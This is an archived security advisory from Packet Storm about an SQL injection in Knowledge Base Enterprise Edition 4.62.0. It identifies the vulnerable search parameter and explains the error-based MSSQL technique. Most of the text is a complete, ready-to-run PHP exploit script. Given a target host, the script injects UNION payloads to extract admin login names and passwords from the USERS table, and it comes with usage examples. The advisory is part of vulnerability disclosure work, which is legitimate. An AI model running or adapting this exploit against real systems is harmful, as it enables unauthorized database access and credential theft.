exploit the possibilities

Knowledge Base EE 4.62.0 SQL Injection

Knowledge Base EE 4.62.0 SQL Injection
Posted Sep 13, 2012
Authored by Karim H.B. | Site vulnerability-lab.com

Knowledge Base EE version 4.62.0 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | 7df5a1f9e80f26ef9803be57db812fd9

Knowledge Base EE 4.62.0 SQL Injection

Change Mirror Download
Title:
======
Knowledge Base EE v4.62.0 - SQL Injection Vulnerability


Date:
=====
2012-09-11


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=702


VL-ID:
=====
702


Common Vulnerability Scoring System:
====================================
8.5


Introduction:
=============
Knowledge Base Software, by Novo Solutions can be used in a variety of in-house and external application settings.
Our easy-to-use software is an ideal solution for small or Knowledge Base Softwarelarge organizations who need a central
repository to store information for Customer Support, Company Intranet, Employee Training, Document Management and more.

(copy from vendor website http://www.novosolutions.com/knowledge-base-software )


Abstract:
=========
The Vulnerability Laboratory Research Team discovered a critical sql vulnerability in the Knowledge Base Enterprise Edition v4.62.0.


Report-Timeline:
================
2012-09-06: Researcher Notification & Coordination
2012-09-07: Vendor Notification
2012-00-00: Vendor Response/Feedback
2012-00-00: Vendor Fix/Patch
2012-00-00: Public or Non-Public Disclosure


Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
Critical


Details:
========
A SQL Injection vulnerability & a misconfiguration are detected in Knowledge Base Enterprise Edition 4.62.0.
The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own sql commands
on the affected application dbms without user inter action. The vulnerabilities are located in search module when processing
to request the category variable with selcategory argument. Successful exploitation of the vulnerability results in MSSQL dbms
& ASP application compromise.

Vulnerable File(s):
[+] doadvancedsearch.asp

Vulnerable Parameter(s):
[+] category

Condition
[+] selcategory - must be not NULL


Proof of Concept:
=================
The sql injection vulnerability can be exploited by remote attackers without user inter action and without privilege user account.
For demonstration or reproduce ...

Note:
In this report we have the Clause statement it a little bit hard to exploit it because of 90% non active responses with errors.
In order to exploit this vulnerability we need to use (CAST OR CONVERT) MSSQL functions to obtain result of our query in Conversion Error messages.


Query: CAST(USER_LOGIN AS NVARCHAR(4000)
Result: [Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value 'admin' to data type int.


In the proof of concept exploit we have to change and force the query to retrieve users credential from user database requests.


<?php
error_reporting(0);
/*
* Software Knowledge Base Enterprise Edition < 4.62.00
* Database: MS SQL
* Description
* Author Kami
* Email kami@vulnerability-lab.com
* Website http://www.kami.ma
* vendor http://www.novosolutions.com/knowledge-base-software/
* Exploitation-type MSSQL error-based using .
* Exploitation-technique (CAST OR CONVERT) Via (WHERE or HAVING) clause.
*/

/* Define Target Informations */

$HOST=$argv[1];
$URI ="/doadvancedsearch.asp";

/* DATABASE Params */

$TABLE ="USERS";
$columns=array("USER_LOGIN","USER_PASSWORD");
$evilSQL ="-6647) UNION ALL SELECT CHAR(107)+CHAR(97)+CHAR(109)+CHAR(105)+CHAR(58)+CHAR(58)+MAX(ISNULL(CAST({column_name} AS NVARCHAR(4000)),CHAR(32)))+CHAR(58)+CHAR(58)+CHAR(97)+CHAR(109)+CHAR(105) FROM USERS where USER_ID=1 -- ";



$Exploit= new Exploitcore();


if($argc > 1) {
echo "\n".'[+] Exploitation Start

\\\
.------. ///
(:::::::)(_)():-
`------° \\\
Exploit sent ///

'."\n";

if(isset($argv[2]))
$URI=$argv[2].$URI;
echo "[+] URL : ".$argv[1].$argv[2]."\n";
$n=1;
foreach($columns as $column){

$evilSQL ="-6647) UNION ALL SELECT CHAR(107)+CHAR(97)+CHAR(109)+CHAR(105)+CHAR(58)+CHAR(58)+MAX(ISNULL(CAST({column_name} AS NVARCHAR(4000)),CHAR(32)))+CHAR(58)+CHAR(58)+CHAR(97)+CHAR(109)+CHAR(105) FROM USERS where USER_ID=1 -- ";

$evilSQL=str_replace("{column_name}",$column,$evilSQL);

$Payload=array(
"advsearchwords"=>"sds",
"selcategory"=>"19",
"category"=>$evilSQL,
"operation"=>"%2B",
"limit"=>25,
"searchtype"=>1,
"enableExclude"=>1,
"enableInclude"=>1,
"daterange"=>0,
"id"=>5,
"btnAdvanced"=>1,
"Lang=>1");



echo $reply=$Exploit->Requestor('POST',$HOST,80, $URI,array(),$Payload, array(), array(),1,false,false);

if($Exploit->Retrive_DATA($reply)== null) {
echo "[-] Error : Target is not vulnerable\n";
exit(-1);}
if($n==1){echo "[+] Extracting Data .... \n\n";}
echo "[+] DATA:".$column ."=".$Exploit->Retrive_DATA($reply)."\n";
$n++;

}
} else $Exploit->Menu();




Class Exploitcore{

var $hostname,$Port,$Uri;
var $dynamic_payload;




public function Retrive_DATA($reply){

preg_match_all('#kami::(.*?)::ami#',$reply,$res);
return $res[1][0];
}


public function Menu(){


$hello='
.-"""-.
/ _ \
___ | (212) |
/\````````````"""""""\\\""====---.......,,,,,_______ _ \ ^ /
\//__________________///__________________)))________)) "-...-"

Advanced __-- SQL --__ injection

Novo Knowledge Base

Credit : Kami
Email : Kami@vulnerability-lab.com
Website : www.kami.ma

Usage> php knowledgebase0day.php host
Exemple> php knowledgebase0day.php kbase.target.com
Exemple> php knowledgebase0day.php kbase.target.com /foo

';

echo $hello;

}

public function Requestor(
$verb = 'GET', /* HTTP Request Method (GET and POST supported) */
$ip, /* Target IP/Hostname */
$port = 80, /* Target TCP port */
$uri = '/', /* Target URI */
$getdata = array(), /* HTTP GET Data ie. array('var1' => 'val1', 'var2' => 'val2') */
$postdata = array(), /* HTTP POST Data ie. array('var1' => 'val1', 'var2' => 'val2') */
$cookie = array(), /* HTTP Cookie Data ie. array('var1' => 'val1', 'var2' => 'val2') */
$custom_headers = array(), /* Custom HTTP headers ie. array('Referer: http://localhost/ */
$timeout = 1, /* Socket timeout in seconds */
$req_hdr = true, /* Include HTTP request headers */
$res_hdr = true /* Include HTTP response headers */
)
{
$ret = '';
$verb = strtoupper($verb);
$cookie_str = '';
$getdata_str = count($getdata) ? '?' : '';
$postdata_str = '';

foreach ($getdata as $k => $v)
$getdata_str .= urlencode($k) .'='. urlencode($v) . '&';

foreach ($postdata as $k => $v)
$postdata_str .= urlencode($k) .'='. urlencode($v) .'&';

foreach ($cookie as $k => $v)
$cookie_str .= urlencode($k) .'='. urlencode($v) .'; ';

$crlf = "\r\n";
$req = $verb .' '. $uri . $getdata_str .' HTTP/1.1' . $crlf;
$req .= 'Host: '. $ip . $crlf;
$req .= 'User-Agent: Mozilla/5.0 Firefox/3.6.12' . $crlf;
$req .= 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' . $crlf;
$req .= 'Accept-Language: en-us,en;q=0.5' . $crlf;
$req .= 'Accept-Encoding: deflate' . $crlf;
$req .= 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7' . $crlf;

foreach ($custom_headers as $k => $v)
$req .= $k .': '. $v . $crlf;

if (!empty($cookie_str))
$req .= 'Cookie: '. substr($cookie_str, 0, -2) . $crlf;

if ($verb == 'POST' && !empty($postdata_str))
{
$postdata_str = substr($postdata_str, 0, -1);
$req .= 'Connection: Close'. $crlf;
$req .= 'Content-Type: application/x-www-form-urlencoded' . $crlf;
$req .= 'Content-Length: '. strlen($postdata_str) . $crlf . $crlf;
$req .= $postdata_str;

}
else { $req .= $crlf; }

if ($req_hdr)
$ret .= $req;

if (($fp = fsockopen($ip, $port, $errno, $errstr,1)) == false)
return "Error $errno: $errstr\n";

// stream_set_timeout($fp, 0, $timeout * 1000);

fwrite($fp, $req);

while ($line = fgets($fp)) $ret .= $line;


fclose ($fp);




if (!$res_hdr)
$ret = substr($ret, strpos($ret, "\r\n\r\n") + 4);

return $ret;
}

}



Risk:
=====
The security risk of the sql injection vulnerability is estimated as high.


Credits:
========
Vulnerability Laboratory [Research Team] - Karim H.B. (kami@vulnerability-lab.com) [www.kami.ma]


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register
Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.

Copyright © 2012 | Vulnerability Laboratory



--
VULNERABILITY RESEARCH LABORATORY
LABORATORY RESEARCH TEAM
CONTACT: research@vulnerability-lab.com

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

August 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    10 Files
  • 2
    Aug 2nd
    8 Files
  • 3
    Aug 3rd
    2 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    79 Files
  • 7
    Aug 7th
    16 Files
  • 8
    Aug 8th
    10 Files
  • 9
    Aug 9th
    10 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    6 Files
  • 12
    Aug 12th
    26 Files
  • 13
    Aug 13th
    15 Files
  • 14
    Aug 14th
    19 Files
  • 15
    Aug 15th
    52 Files
  • 16
    Aug 16th
    11 Files
  • 17
    Aug 17th
    1 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close